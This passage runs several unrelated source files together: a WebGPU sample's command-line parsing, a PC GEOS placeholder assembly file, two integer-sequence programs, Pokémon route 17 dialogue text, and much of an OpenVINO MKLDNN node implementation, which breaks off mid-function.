wgpu::TextureFormat::Depth24PlusStencil8; descriptor.mipLevelCount = 1; descriptor.usage = wgpu::TextureUsage::RenderAttachment; auto depthStencilTexture = device.CreateTexture(&descriptor); return depthStencilTexture.CreateView(); } bool InitSample(int argc, const char** argv) { for (int i = 1; i < argc; i++) { if (std::string("-b") == argv[i] || std::string("--backend") == argv[i]) { i++; if (i < argc && std::string("d3d12") == argv[i]) { backendType = wgpu::BackendType::D3D12; continue; } if (i < argc && std::string("metal") == argv[i]) { backendType = wgpu::BackendType::Metal; continue; } if (i < argc && std::string("null") == argv[i]) { backendType = wgpu::BackendType::Null; continue; } if (i < argc && std::string("opengl") == argv[i]) { backendType = wgpu::BackendType::OpenGL; continue; } if (i < argc && std::string("opengles") == argv[i]) { backendType = wgpu::BackendType::OpenGLES; continue; } if (i < argc && std::string("vulkan") == argv[i]) { backendType = wgpu::BackendType::Vulkan; continue; } fprintf(stderr, "--backend expects a backend name (opengl, opengles, metal, d3d12, null, " "vulkan)\n"); return false; } if (std::string("-c") == argv[i] || std::string("--command-buffer") == argv[i]) { i++; if (i < argc && std::string("none") == argv[i]) { cmdBufType = CmdBufType::None; continue; } if (i < argc && std::string("terrible") == argv[i]) { cmdBufType = CmdBufType::Terrible; continue; } fprintf(stderr, "--command-buffer expects a command buffer name (none, terrible)\n"); return false; } if (std::string("-h") == argv[i] || std::string("--help") == argv[i]) { printf("Usage: %s [-b BACKEND] [-c COMMAND_BUFFER]\n", argv[0]); printf(" BACKEND is one of: d3d12, metal, null, opengl, opengles, vulkan\n"); printf(" COMMAND_BUFFER is one of: none, terrible\n"); return false; } } return true; } void DoFlush() { if (cmdBufType == CmdBufType::Terrible) { bool c2sSuccess = c2sBuf->Flush(); bool s2cSuccess = s2cBuf->Flush(); ASSERT(c2sSuccess && s2cSuccess); } glfwPollEvents(); } bool ShouldQuit() { return glfwWindowShouldClose(window); } GLFWwindow* GetGLFWWindow() { return window; }
COMMENT @----------------------------------------------------------------------- Copyright (c) GeoWorks 1988 -- All Rights Reserved PROJECT: PC GEOS MODULE: CommonUI/CWin (common code for several specific ui's) FILE: cwinDraw.asm THIS IS A NULL FILE. SEE /staff/pcgeos/Library/{uiname}/Win/cwinDraw.asm FOR THE SPECIFIC FILE FOR THE SPECIFIC UI YOU ARE MAKING. THIS FILE IS ONLY HERE SO THAT YOU KNOW WHERE TO LOOK - MASM NEVER SEES THIS. DESCRIPTION: $Id: cwinDraw.asm,v 1.1 97/04/07 10:53:07 newdeal Exp $ -------------------------------------------------------------------------------@ %out THIS IS A NULL FILE. SEE /staff/pcgeos/Library/{uiname}/Win/cwinDraw.asm %out FOR THE SPECIFIC FILE FOR THE SPECIFIC UI YOU ARE MAKING.
; A024557: a(n) = [ a(n-1)/(sqrt(6) - 2) ], where a(0) = 1. ; Submitted by Christian Krause ; 1,2,4,8,17,37,82,182,404,898,1997,4442,9882,21984,48908,108807,242067,538537,1198107,2665482,5930017,13192774,29350556,65297498,145270273,323189294,719013724,1599622094,3558751049,7917313144,17614001812,39186660195,87180321295,193953972687,431498106021,959973198385,2135695449780,4751377498752,10570602722393,23516894194161,52319089749518,116396626596116,258952798066990,576103909432037,1281684217897568,2851420390511154,6343682889971091,14113075975197758,31397993395381061,69852524778361000 lpb $0 sub $0,1 mov $2,$1 mov $1,$3 div $1,2 add $2,1 add $2,$3 add $3,$2 lpe mov $0,$3 add $0,1
_Route17BattleText1:: text "There's no money" line "in fighting kids!" done _Route17EndBattleText1:: text "Burned" line "out!" prompt _Route17AfterBattleText1:: text "Good stuff is" line "lying around on" cont "CYCLING ROAD!" done _Route17BattleText2:: text "What do you want," line "kiddo?" done _Route17EndBattleText2:: text "Whoo!" prompt _Route17AfterBattleText2:: text "I could belly-" line "bump you outta" cont "here!" done _Route17BattleText3:: text "You heading to" line "FUCHSIA?" done _Route17EndBattleText3:: text "Crash and" line "burn!" prompt _Route17AfterBattleText3:: text "I love racing" line "downhill!" done _Route17BattleText4:: text "We're BIKERs!" line "Highway stars!" done _Route17EndBattleText4:: text "Smoked!" prompt _Route17AfterBattleText4:: text "Are you looking" line "for adventure?" done _Route17BattleText5:: text "Let VOLTORB" line "electrify you!" done _Route17EndBattleText5:: text "Grounded" line "out!" prompt _Route17AfterBattleText5:: text "I got my VOLTORB" line "at the abandoned" cont "POWER PLANT." done _Route17BattleText6:: text "My #MON won't" line "evolve! Why?" done _Route17EndBattleText6:: text "Why," line "you!" prompt _Route17AfterBattleText6:: text "Maybe some #MON" line "need element" cont "STONEs to evolve." done _Route17BattleText7:: text "I need a little" line "exercise!" done _Route17EndBattleText7:: text "Whew!" line "Good workout!" prompt _Route17AfterBattleText7:: text "I'm sure I lost" line "weight there!" done _Route17BattleText8:: text "Be a rebel!" done _Route17EndBattleText8:: text "Aaaargh!" prompt _Route17AfterBattleText8:: text "Be ready to fight" line "for your beliefs!" done _Route17BattleText9:: text "Nice BIKE!" line "How's it handle?" done _Route17EndBattleText9:: text "Shoot!" prompt _Route17AfterBattleText9:: text "The slope makes" line "it hard to steer!" done _Route17BattleText10:: text "Get lost, kid!" line "I'm bushed!" done _Route17EndBattleText10:: text "Are you" line "satisfied?" prompt _Route17AfterBattleText10:: text "I need to catch" line "a few Zs!" done _Route17Text11:: text "It's a notice!" para "Watch out for" line "discarded items!" done _Route17Text12:: text "TRAINER TIPS" para "All #MON are" line "unique." para "Even #MON of" line "the same type and" cont "level grow at" cont "different rates." done _Route17Text13:: text "TRAINER TIPS" para "Press the A or B" line "Button to stay in" cont "place while on a" cont "slope." done _Route17Text14:: text "ROUTE 17" line "CELADON CITY -" cont "FUCHSIA CITY" done _Route17Text15:: text "It's a notice!" para "Don't throw the" line "game, throw #" cont "BALLs instead!" done _Route17Text16:: text "CYCLING ROAD" line "Slope ends here!" done
; A095166: Group the natural numbers >= 1 so that the n-th group contains n(n+1)/2 numbers and obtain the group sum. ; Submitted by Jon Maiga ; 1,9,45,155,420,966,1974,3690,6435,10615,16731,25389,37310,53340,74460,101796,136629,180405,234745,301455,382536,480194,596850,735150,897975,1088451,1309959,1566145,1860930,2198520,2583416,3020424,3514665 add $0,2 mov $1,$0 bin $0,2 bin $1,3 mul $1,2 add $1,$0 add $1,1 mul $0,$1 div $0,2
// Copyright (C) 2018-2020 Intel Corporation // SPDX-License-Identifier: Apache-2.0 // #include "mkldnn_node.h" #include "mkldnn_extension_mngr.h" #include <vector> #include <string> #include <limits> #include <cstdint> #include <nodes/mkldnn_batchnorm_node.h> #include <nodes/mkldnn_concat_node.h> #include <nodes/mkldnn_conv_node.h> #include <nodes/mkldnn_crop_node.h> #include <nodes/mkldnn_deconv_node.h> #include <nodes/mkldnn_eltwise_node.h> #include <nodes/mkldnn_gemm_node.h> #include <nodes/mkldnn_fullyconnected_node.h> #include <nodes/mkldnn_generic_node.h> #include <nodes/mkldnn_input_node.h> #include <nodes/mkldnn_lrn_node.h> #include <nodes/mkldnn_pooling_node.h> #include <nodes/mkldnn_reorder_node.h> #include <nodes/mkldnn_reshape_node.h> #include <nodes/mkldnn_roi_pooling_node.h> #include <nodes/mkldnn_softmax_node.h> #include <nodes/mkldnn_tile_node.h> #include <nodes/mkldnn_split_node.h> #include <nodes/mkldnn_permute_node.h> #include <nodes/mkldnn_memory_node.hpp> #include <nodes/mkldnn_rnn.h> #include <nodes/mkldnn_quantize_node.h> #include <nodes/mkldnn_bin_conv_node.h> #include <nodes/mkldnn_def_conv_node.h> #include <nodes/mkldnn_mvn_node.h> #include <nodes/mkldnn_resample_node.h> #include <nodes/mkldnn_normalize_node.h> #include <nodes/mkldnn_reduce_node.h> #include <nodes/mkldnn_tensoriterator_node.h> #include <nodes/mkldnn_scatter_update_node.h> #include <nodes/mkldnn_interpolate_node.h> #include <mkldnn_types.h> #include "mkldnn_extension_utils.h" #include "nodes/common/cpu_memcpy.h" #include "mkldnn_debug.h" using namespace mkldnn; using namespace MKLDNNPlugin; using namespace openvino; using namespace InferenceEngine::details; namespace MKLDNNPlugin { static const InferenceEngine::details::caseless_unordered_map<std::string, Type> type_to_name_tbl = { { "Unknown", Unknown }, { "Input", Input }, { "Const", Input }, { "Output", Output }, { "Reorder", Reorder }, { "Convolution", Convolution }, { "ReLU", Eltwise }, { "GELU", Eltwise }, { "ELU", Eltwise }, { "Sigmoid", Eltwise }, { "Logistic", Eltwise }, { "TanH", Eltwise }, { "ReLU6", Eltwise }, { "Exp", Eltwise }, { "Not", Eltwise }, { "Activation", Eltwise }, { "Clamp", Eltwise }, { "Swish", Eltwise }, { "HSwish", Eltwise }, { "Mish", Eltwise }, { "HSigmoid", Eltwise }, { "ScaleShift", Eltwise }, { "PReLU", Eltwise }, { "Norm", Lrn }, { "LRN", Lrn }, { "Pooling", Pooling }, { "FullyConnected", FullyConnected }, { "InnerProduct", FullyConnected }, { "Gemm", Gemm }, { "Softmax", SoftMax }, { "SoftMax", SoftMax }, { "Split", Split }, { "Slice", Split }, { "Concat", Concatenation }, { "Deconvolution", Deconvolution }, { "Eltwise", Eltwise }, { "Mod", Eltwise }, { "Power", Eltwise }, { "Crop", Crop }, { "Reshape", Reshape }, { "Tile", Tile }, { "SimplerNMS", SimplerNMS }, { "ROIPooling", ROIPooling }, { "BatchNormalization", BatchNormalization }, { "Flatten", Flatten }, { "Permute", Permute }, { "Copy", Copy }, { "LSTMCell", RNNCell }, { "GRUCell", RNNCell }, { "RNNCell", RNNCell }, { "LSTMSequence", RNNSeq }, { "GRUSequence", RNNSeq }, { "RNNSequence", RNNSeq }, { "Quantize", Quantize }, { "FakeQuantize", Quantize }, { "BinaryConvolution", BinaryConvolution }, { "DeformableConvolution", DeformableConvolution }, { "TensorIterator", TensorIterator }, { "MemoryInput", MemoryInput}, // for construction from name ctor, arbitrary name is used { "Memory", MemoryOutput }, // for construction from layer ctor { "Convert", Convert }, { "MVN", MVN}, { "Resample", Resample}, { "Normalize", Normalize}, { "ScatterUpdate", ScatterUpdate}, { "ScatterElementsUpdate", ScatterElementsUpdate}, { "ScatterNDUpdate", ScatterNDUpdate}, { "Interpolate", Interpolate}, { "ReduceAnd", ReduceAnd}, { "ReduceL1", ReduceL1}, { "ReduceL2", ReduceL2}, { "ReduceLogSum", ReduceLogSum}, { "ReduceLogSumExp", ReduceLogSumExp}, { "ReduceMax", ReduceMax}, { "ReduceMean", ReduceMean}, { "ReduceMin", ReduceMin}, { "ReduceOr", ReduceOr}, { "ReduceProd", ReduceProd}, { "ReduceSum", ReduceSum}, { "ReduceSumSquare", ReduceSumSquare}, }; Type TypeFromName(const std::string type) { auto itType = type_to_name_tbl.find(type); if (type_to_name_tbl.end() != itType) { return itType->second; } else { return Unknown; } } } // namespace MKLDNNPlugin MKLDNNNode::Factory & MKLDNNNode::factory() { static Factory factoryInstance; return factoryInstance; } MKLDNNNode::MKLDNNNode(const InferenceEngine::CNNLayerPtr& layer, const mkldnn::engine& eng, MKLDNNWeightsSharing::Ptr &w_cache) : selectedPrimitiveDescriptorIndex(-1), permanent(false), temporary(false), constant(ConstantType::Unknown), weightCache(w_cache), cnnLayer(layer), engine(eng), name(layer->name), typeStr(layer->type), type(TypeFromName(layer->type)), profilingTask(itt::handle(name)) { if (!layer->outData.empty()) { for (const auto& outData : layer->outData) { outDims.emplace_back(outData->getDims()); } } else { if (!(CaselessEq<std::string>()(layer->type, "memory") || CaselessEq<std::string>()(layer->type, "memoryinput") || CaselessEq<std::string>()(layer->type, "output") || CaselessEq<std::string>()(layer->type, "reorder"))) { THROW_IE_EXCEPTION << "Inappropriate layer type: " << layer->type << " name: " << layer->name; } } for (const auto& inData : layer->insData) { inDims.emplace_back(inData.lock()->getDims()); } if (layer->params.find("PrimitivesPriority") != layer->params.end()) { std::istringstream stream(layer->params["PrimitivesPriority"]); std::string str; while (getline(stream, str, ',')) { if (str.substr(0, 4) != "cpu:") continue; implPriorities.push_back(parse_impl_name(str)); if (implPriorities[implPriorities.size() - 1] == impl_desc_type::unknown && str != "cpu:unknown") THROW_IE_EXCEPTION << "Unsupported CPU implementation " << str << " for node " << getName(); } } if (layer->params.find("InputMemoryFormats") != layer->params.end()) { std::istringstream stream(layer->params["InputMemoryFormats"]); std::string str; while (getline(stream, str, ',')) { if (str.substr(0, 4) != "cpu:") continue; inputMemoryFormatsFilter.push_back(mkldnn_str2fmt(str.substr(4, str.size()).c_str())); } } if (layer->params.find("OutputMemoryFormats") != layer->params.end()) { std::istringstream stream(layer->params["OutputMemoryFormats"]); std::string str; while (getline(stream, str, ',')) { if (str.substr(0, 4) != "cpu:") continue; outputMemoryFormatsFilter.push_back(mkldnn_str2fmt(str.substr(4, str.size()).c_str())); } } } void MKLDNNNode::addEdge(const MKLDNNEdgeWeakPtr& edge) { auto edgePtr = edge.lock(); if (!edgePtr) return; auto parentPtr = edgePtr->getParent(); auto childPtr = edgePtr->getChild(); if (!parentPtr || !childPtr) return; parentPtr->childEdges.push_back(edge); childPtr->parentEdges.push_back(edge); } void MKLDNNNode::removeEdge(const MKLDNNEdgeWeakPtr& edge) { auto edgePtr = edge.lock(); if (!edgePtr) return; auto parentPtr = edgePtr->getParent(); auto childPtr = edgePtr->getChild(); if (!parentPtr || !childPtr) return; for (auto it = childPtr->parentEdges.begin(); it != childPtr->parentEdges.end(); it++) { auto parentEdge = (*it).lock(); if (parentEdge && parentEdge->getChild() == childPtr && parentEdge->getParent() == parentPtr) { childPtr->parentEdges.erase(it); break; } } for (auto it = parentPtr->childEdges.begin(); it != parentPtr->childEdges.end(); it++) { auto childEdge = (*it).lock(); if (childEdge && childEdge->getChild() == childPtr && childEdge->getParent() == parentPtr) { parentPtr->childEdges.erase(it); break; } } } void MKLDNNNode::remove() { auto parent_edges = parentEdges; for (const auto &parentEdge : parent_edges) { removeEdge(parentEdge); } auto child_edges = childEdges; for (const auto &childEdge : child_edges) { removeEdge(childEdge); } } bool MKLDNNNode::isEdgesEmpty(const std::vector<MKLDNNEdgeWeakPtr>& edges) const { for (auto &edge : edges) { if (edge.lock()) return false; } return true; } void MKLDNNNode::selectOptimalPrimitiveDescriptor() { selectPreferPrimitiveDescriptor(getPrimitivesPriority()); } void MKLDNNNode::selectPreferPrimitiveDescriptor(const std::vector<impl_desc_type>& priority) { for (auto& type : priority) { int selectedPrimitive = -1; int equalsFormatCount = -1; for (size_t i = 0; i < getSupportedPrimitiveDescriptors().size(); i++) { impl_desc_type supportedType = getSupportedPrimitiveDescriptors()[i].getImplementationType(); if (type == supportedType) { int equalsLocalFormatCount = 0; if (getSupportedPrimitiveDescriptors()[i].getConfig().inConfs.size() > getParentEdges().size()) continue; for (size_t j = 0; j < getSupportedPrimitiveDescriptors()[i].getConfig().inConfs.size(); j++) { auto parentEdge = getParentEdgeAt(j); auto parentPtr = parentEdge->getParent(); auto parent_spd = parentPtr->getSelectedPrimitiveDescriptor(); if (parent_spd != nullptr && !parent_spd->getConfig().outConfs.empty()) { int inNum = parentEdge->getInputNum(); if (inNum < 0 || inNum >= parent_spd->getConfig().outConfs.size()) { inNum = 0; } if (MKLDNNExtensionUtils::initTensorsAreEqual( getSupportedPrimitiveDescriptors()[i].getConfig().inConfs[j].desc, parent_spd->getConfig().outConfs[inNum].desc)) { equalsLocalFormatCount++; } } } if (equalsLocalFormatCount > equalsFormatCount) { equalsFormatCount = equalsLocalFormatCount; selectedPrimitive = static_cast<int>(i); } } } if (selectedPrimitive >= 0) { selectPrimitiveDescriptorByIndex(selectedPrimitive); return; } } if (getSupportedPrimitiveDescriptors().empty()) THROW_IE_EXCEPTION << "Supported primitive descriptors list is empty for node: " << getName(); // fallback. If there are no primitives from priority list just select a first selectPrimitiveDescriptorByIndex(0); } bool MKLDNNNode::canBeInPlace() const { if (getParentEdges().size() != 1 || getParentEdgeAt(0)->getParent()->getChildEdges().size() != 1 || (getParentEdgeAt(0)->getParent()->isConstant() && !getParentEdgeAt(0)->getChild()->isConstant())) return false; // TODO: we need to extend this logic to properly handle all possible inplace conflicts if (getParentEdges().size() == 1 && getParentEdgeAt(0)->getParent()->getType() == Reshape) { auto reshapeNode = getParentEdgeAt(0)->getParent(); if (reshapeNode->getParentEdgeAt(0)->getParent()->getChildEdges().size() != 1) return false; } MKLDNNDims dims = getParentEdgeAt(0)->getDims(); for (size_t cIdx = 0; cIdx < getChildEdges().size(); cIdx++) { if (getChildEdgeAt(cIdx)->getDims() != dims) { return false; } } return true; } void MKLDNNNode::resolveNotAllocatedEdges() { const PrimitiveDescInfo *selected_pd = getSelectedPrimitiveDescriptor(); if (!selected_pd) THROW_IE_EXCEPTION << "Cannot find selected primitive descriptor for node: " << getName(); for (size_t i = 0; i < getParentEdges().size() && i < selected_pd->getConfig().inConfs.size(); i++) { auto parentEdge = getParentEdgeAt(i); if (parentEdge->getStatus() != MKLDNNEdge::Status::NotAllocated || selected_pd->getConfig().inConfs[i].inPlace < 0) continue; auto * memPtr = reinterpret_cast<char*>(parentEdge->getMemory().GetData()); parentEdge->getMemoryPtr().reset(new MKLDNNMemory(getEngine())); parentEdge->getMemoryPtr()->Create(MKLDNNMemoryDesc(selected_pd->getConfig().inConfs[i].desc), memPtr); parentEdge->changeStatus(MKLDNNEdge::Status::Allocated); } for (size_t i = 0; i < getChildEdges().size() && i < selected_pd->getConfig().outConfs.size(); i++) { auto childEdge = getChildEdgeAt(i); if (childEdge->getStatus() != MKLDNNEdge::Status::NotAllocated || selected_pd->getConfig().outConfs[i].inPlace < 0) continue; auto * memPtr = reinterpret_cast<char*>(childEdge->getMemory().GetData()); childEdge->getMemoryPtr().reset(new MKLDNNMemory(getEngine())); childEdge->getMemoryPtr()->Create(MKLDNNMemoryDesc(selected_pd->getConfig().outConfs[i].desc), memPtr); childEdge->changeStatus(MKLDNNEdge::Status::Allocated); } } std::string MKLDNNNode::getPrimitiveDescriptorType() { auto selectedPrimitiveDesc = getSelectedPrimitiveDescriptor(); impl_desc_type type = impl_desc_type::undef; if (selectedPrimitiveDesc) { type = selectedPrimitiveDesc->getImplementationType(); } std::string str_type; auto add_type = [&](std::string t) { if (!str_type.empty() && t.c_str()[0] != '_') str_type += "_"; str_type += t; }; #define SEARCH_TYPE(_type) \ if ((type & impl_desc_type::_type) == impl_desc_type::_type) \ add_type(#_type) SEARCH_TYPE(undef); SEARCH_TYPE(reorder); SEARCH_TYPE(jit); SEARCH_TYPE(gemm); SEARCH_TYPE(ref); SEARCH_TYPE(avx512); SEARCH_TYPE(avx2); SEARCH_TYPE(avx); SEARCH_TYPE(sse42); SEARCH_TYPE(blas); SEARCH_TYPE(any); SEARCH_TYPE(uni); SEARCH_TYPE(winograd); SEARCH_TYPE(_dw); SEARCH_TYPE(_1x1); if (type == impl_desc_type::unknown) str_type = "unknown"; else if (str_type.empty()) str_type = "undef"; // adding layer precision to the performance counters as one of the token // currently we treat a layer executing in int8 mode if its input is I8 or U8. if input is U8, we still // add I8 since I8 is special placeholder. The real calc precision might be quite complex and in most cases // it is mixed precision. if (selectedPrimitiveDesc) { if (!selectedPrimitiveDesc->getConfig().inConfs.empty()) { if (selectedPrimitiveDesc->getConfig().inConfs[0].desc.getPrecision() != InferenceEngine::Precision::U8) { str_type += "_" + std::string(selectedPrimitiveDesc->getConfig().inConfs[0].desc.getPrecision().name()); } else { str_type += "_I8"; } } else { if (selectedPrimitiveDesc->getConfig().outConfs[0].desc.getPrecision() != InferenceEngine::Precision::U8) { str_type += "_" + std::string(selectedPrimitiveDesc->getConfig().outConfs[0].desc.getPrecision().name()); } else { str_type += "_I8"; } } } return str_type; } const MKLDNNEdgePtr MKLDNNNode::getParentEdgeAt(size_t idx) const { if (idx >= parentEdges.size()) THROW_IE_EXCEPTION << "Node " << getName() << " contains less parent edges than " << idx; auto parentEdgePtr = parentEdges[idx].lock(); if (!parentEdgePtr) THROW_IE_EXCEPTION << "Node " << getName() << " contains empty parent edge for index " << idx; return parentEdgePtr; } const MKLDNNEdgePtr MKLDNNNode::getChildEdgeAt(size_t idx) const { if (idx >= childEdges.size()) THROW_IE_EXCEPTION << "Node " << getName() << " contains less child edges than " << idx; auto childEdgePtr = childEdges[idx].lock(); if (!childEdgePtr) THROW_IE_EXCEPTION << "Node " << getName() << " contains empty child edge for index " << idx; return childEdgePtr; } const std::vector<MKLDNNEdgePtr> MKLDNNNode::getParentEdgesAtPort(size_t idx) const { if (idx >= inDims.size()) THROW_IE_EXCEPTION << "Node " << getName() << " contains less input ports than " << idx; std::vector<MKLDNNEdgePtr> res; for (auto &edge_w : parentEdges) { auto edge = edge_w.lock(); if (!edge) THROW_IE_EXCEPTION << "Node " << getName() << " contains dead weak ptr"; if (edge->getOutputNum() == idx) res.push_back(edge); } return res; } const std::vector<MKLDNNEdgePtr> MKLDNNNode::getChildEdgesAtPort(size_t idx) const { if (idx >= outDims.size()) THROW_IE_EXCEPTION << "Node " << getName() << " contains less output ports than " << idx; std::vector<MKLDNNEdgePtr> res; for (auto &edge_w : childEdges) { auto edge = edge_w.lock(); if (!edge) THROW_IE_EXCEPTION << "Node " << getName() << " contains dead weak ptr"; if (edge->getInputNum() == idx) res.push_back(edge); } return res; } std::vector<memory::format> MKLDNNNode::getAvailableFormatsForDims(const MKLDNNDims &dims) const { if (dims.ndims() == 0) return {memory::format::x}; else if (dims.ndims() == 1) return {memory::format::x}; else if (dims.ndims() == 2) return {memory::format::nc}; else if (dims.ndims() == 3) return {memory::format::tnc, memory::format::ntc}; else if (dims.ndims() == 4) return {memory::format::nchw, memory::format::nChw8c, memory::format::nChw16c}; else if (dims.ndims() == 5) return {memory::format::ncdhw, memory::format::nCdhw8c, memory::format::nCdhw16c}; return {memory::format::any}; } void MKLDNNNode::execute(mkldnn::stream strm) { if (prim) { strm.submit({*prim}); } } void MKLDNNNode::initSupportedPrimitiveDescriptors() { if (!supportedPrimitiveDescriptors.empty()) return; for (auto& desc : descs) { auto itpd = desc.createPrimitiveDescriptorIterator(engine); while (itpd.is_not_end()) { InferenceEngine::LayerConfig config; config.dynBatchSupport = true; for (size_t i = 0; i < descInputNumbers(desc); i++) { InferenceEngine::DataConfig dataConfig; dataConfig.inPlace = -1; dataConfig.constant = false; dataConfig.desc = MKLDNNExtensionUtils::getUninitTensorDesc(getSrcMemDesc(itpd, i)); config.inConfs.push_back(dataConfig); } std::vector<mkldnn::memory::format> outFormats; for (size_t i = 0; i < descOutputNumbers(desc); i++) { InferenceEngine::DataConfig dataConfig; dataConfig.inPlace = canBeInPlace() ? 0 : -1; dataConfig.constant = false; dataConfig.desc = MKLDNNExtensionUtils::getUninitTensorDesc(getDstMemDesc(itpd, i)); config.outConfs.push_back(dataConfig); auto primDesc = itpd.fetch(); auto dstPrimDesc = mkldnn_primitive_desc_query_pd(primDesc.get(), mkldnn::convert_to_c(dst_pd), 0); if (dstPrimDesc) { outFormats.emplace_back(static_cast<memory::format>(itpd.dst_primitive_desc().desc().data.format)); } else { // This path is needed to correctly handle Deconvolution node auto diffSrcPrimDesc = mkldnn_primitive_desc_query_pd(primDesc.get(), mkldnn::convert_to_c(diff_src_pd), 0); if (diffSrcPrimDesc) { outFormats.emplace_back(static_cast<memory::format>(itpd.diff_src_primitive_desc().desc().data.format)); } } } impl_desc_type impl_type = parse_impl_name(itpd.get_impl_info_str()); supportedPrimitiveDescriptors.emplace_back(config, impl_type, outFormats); itpd++; } } } void MKLDNNNode::filterSupportedPrimitiveDescriptors() { if (!inputMemoryFormatsFilter.empty() || !outputMemoryFormatsFilter.empty()) { auto itpd = supportedPrimitiveDescriptors.begin(); while (itpd != supportedPrimitiveDescriptors.end()) { const auto &config = itpd->getConfig(); if (inputMemoryFormatsFilter.size() > config.inConfs.size() || outputMemoryFormatsFilter.size() > config.outConfs.size()) THROW_IE_EXCEPTION << "Incorrect number of input or output memory formats"; bool isSuitableDesc = true; for (int i = 0; i < inputMemoryFormatsFilter.size(); i++) { if (inputMemoryFormatsFilter[i] != MKLDNNMemoryDesc(config.inConfs[i].desc).getFormat()) isSuitableDesc = false; } for (int i = 0; i < outputMemoryFormatsFilter.size(); i++) { if (outputMemoryFormatsFilter[i] != MKLDNNMemoryDesc(config.outConfs[i].desc).getFormat()) isSuitableDesc = false; } if (!isSuitableDesc) { itpd = supportedPrimitiveDescriptors.erase(itpd); } else { itpd++; } } } } void MKLDNNNode::initDescriptor(const InferenceEngine::LayerConfig &config) { auto* selectedPD = getSelectedPrimitiveDescriptor(); if (!selectedPD) { return; } std::vector<InferenceEngine::TensorDesc> inDescs; for (const auto& inConf : config.inConfs) inDescs.push_back(inConf.desc); std::vector<InferenceEngine::TensorDesc> outDescs; for (const auto& outConf : config.outConfs) outDescs.push_back(outConf.desc); createDescriptor({inDescs}, {outDescs}); std::shared_ptr<mkldnn::primitive_attr> attr = initPrimitiveAttr(); InferenceEngine::LayerConfig rightConfig = selectedPD->getConfig(); size_t selected_count = 0; for (size_t j = 0; j < descs.size(); j++) { const auto &desc = descs[j]; std::shared_ptr<primitive_desc_iterator> itpd; if (attr == nullptr) { itpd = std::make_shared<primitive_desc_iterator>(desc.createPrimitiveDescriptorIterator(engine)); } else { itpd = std::make_shared<primitive_desc_iterator>(desc.createPrimitiveDescriptorIterator(engine, *(attr.get()))); } while (itpd->is_not_end()) { InferenceEngine::LayerConfig cfg; cfg.dynBatchSupport = true; for (size_t i = 0; i < descInputNumbers(desc); i++) { InferenceEngine::DataConfig dataConfig; dataConfig.inPlace = canBeInPlace() ? 0 : -1; dataConfig.constant = false; dataConfig.desc = getSrcMemDesc(*itpd, i); cfg.inConfs.push_back(dataConfig); } for (size_t i = 0; i < descOutputNumbers(desc); i++) { InferenceEngine::DataConfig dataConfig; dataConfig.inPlace = -1; dataConfig.constant = false; dataConfig.desc = getDstMemDesc(*itpd, i); cfg.outConfs.push_back(dataConfig); } impl_desc_type impl_type = parse_impl_name(itpd->get_impl_info_str().c_str()); if (selected_count == selectedPrimitiveDescriptorIndex) { if (impl_type != selectedPD->getImplementationType()) { THROW_IE_EXCEPTION << "Cannot get the original layer configuration!"; } rightConfig = cfg; } if (j == descs.size() - 1) { if (impl_type == selectedPD->getImplementationType()) { rightConfig = config; } } selected_count++; (*itpd)++; } } if (descs.empty()) { const auto& selectedConfig = selectedPD->getConfig(); if (selectedConfig.inConfs.size() != config.inConfs.size() || selectedConfig.outConfs.size() != config.outConfs.size()) return; for (size_t i = 0; i < selectedConfig.inConfs.size(); i++) { if (selectedConfig.inConfs[i].desc.getLayout() != InferenceEngine::Layout::ANY && !MKLDNNExtensionUtils::initTensorsAreEqual(selectedConfig.inConfs[i].desc, config.inConfs[i].desc)) THROW_IE_EXCEPTION << "Incorrect descriptor for node: " << getName(); } for (size_t i = 0; i < selectedConfig.outConfs.size(); i++) { if (selectedConfig.outConfs[i].desc.getLayout() != InferenceEngine::Layout::ANY && !MKLDNNExtensionUtils::initTensorsAreEqual(selectedConfig.outConfs[i].desc, config.outConfs[i].desc)) THROW_IE_EXCEPTION << "Incorrect descriptor for node: " << getName(); } rightConfig = config; } selectedPD->getConfig() = rightConfig; } InferenceEngine::Blob::Ptr MKLDNNNode::createInternalBlob(InferenceEngine::SizeVector dims, bool weights, bool isGrouped) { auto checkSize = [](size_t dst_size, size_t src_size) { if (dst_size < src_size) { THROW_IE_EXCEPTION << "Cannot create internal buffer. Buffer can be overrun."; } }; auto * wLayer = dynamic_cast<InferenceEngine::WeightableLayer*>(getCnnLayer().get()); if (wLayer == nullptr) THROW_IE_EXCEPTION << "Cannot get weightable layer for node " << getName() << "."; InferenceEngine::Blob::Ptr blb = weights ? wLayer->_weights : wLayer->_biases; if (blb == nullptr) THROW_IE_EXCEPTION << "Cannot get internal blob layer for node " << getName() << "."; auto intLayout = getWeightsLayoutByDims(dims, isGrouped); InferenceEngine::TensorDesc desc(blb->getTensorDesc().getPrecision(), dims, intLayout); auto fillInternalBlob = [&](char *data, size_t intBuffSize) { size_t offset = blb->byteSize(); checkSize(intBuffSize, offset); cpu_memcpy_s(data, intBuffSize, blb->buffer(), blb->byteSize()); data += blb->byteSize(); for (const auto &merged : getMergeWith()) { wLayer = dynamic_cast<InferenceEngine::WeightableLayer*>(merged->getCnnLayer().get()); if (wLayer == nullptr) THROW_IE_EXCEPTION << "Cannot convert merged weightable layer for node " << getName() << "."; blb = weights ? wLayer->_weights : wLayer->_biases; if (blb == nullptr) THROW_IE_EXCEPTION << "Cannot get internal blob layer for node " << getName() << "."; offset += blb->byteSize(); checkSize(intBuffSize, offset); cpu_memcpy_s(data, intBuffSize, blb->buffer(), blb->byteSize()); data += blb->byteSize(); } }; Blob::Ptr internalBlob; if (blb->getTensorDesc().getPrecision() == Precision::BIN) { internalBlob = InferenceEngine::make_shared_blob<int8_t>(desc); } else if (blb->getTensorDesc().getPrecision() == Precision::I8) { internalBlob = InferenceEngine::make_shared_blob<int8_t>(desc); } else if (blb->getTensorDesc().getPrecision() == Precision::I32) { internalBlob = InferenceEngine::make_shared_blob<int32_t>(desc); } else if (blb->getTensorDesc().getPrecision() == Precision::BF16) { internalBlob = InferenceEngine::make_shared_blob<int16_t>(desc); } else { internalBlob = InferenceEngine::make_shared_blob<float>(desc); } internalBlob->allocate(); char *data = internalBlob->buffer(); size_t intBuffSize = internalBlob->byteSize(); fillInternalBlob(data, intBuffSize); return internalBlob; } void MKLDNNNode::prepareMemory(const PrimitiveDescInfo *selected_pd, mkldnn::primitive_desc_iterator& itpd) { for (size_t i = 0; i < getChildEdges().size(); i++) { auto &dstMemPtr = getChildEdgeAt(i)->getMemoryPtr(); if (!dstMemPtr || !dstMemPtr->GetPrimitivePtr()) THROW_IE_EXCEPTION << "Destination memory didn't allocate for node " << getName() << " to node " << getChildEdgeAt(i)->getChild()->getName() << "."; } for (size_t i = 0; i < getParentEdges().size(); i++) { auto 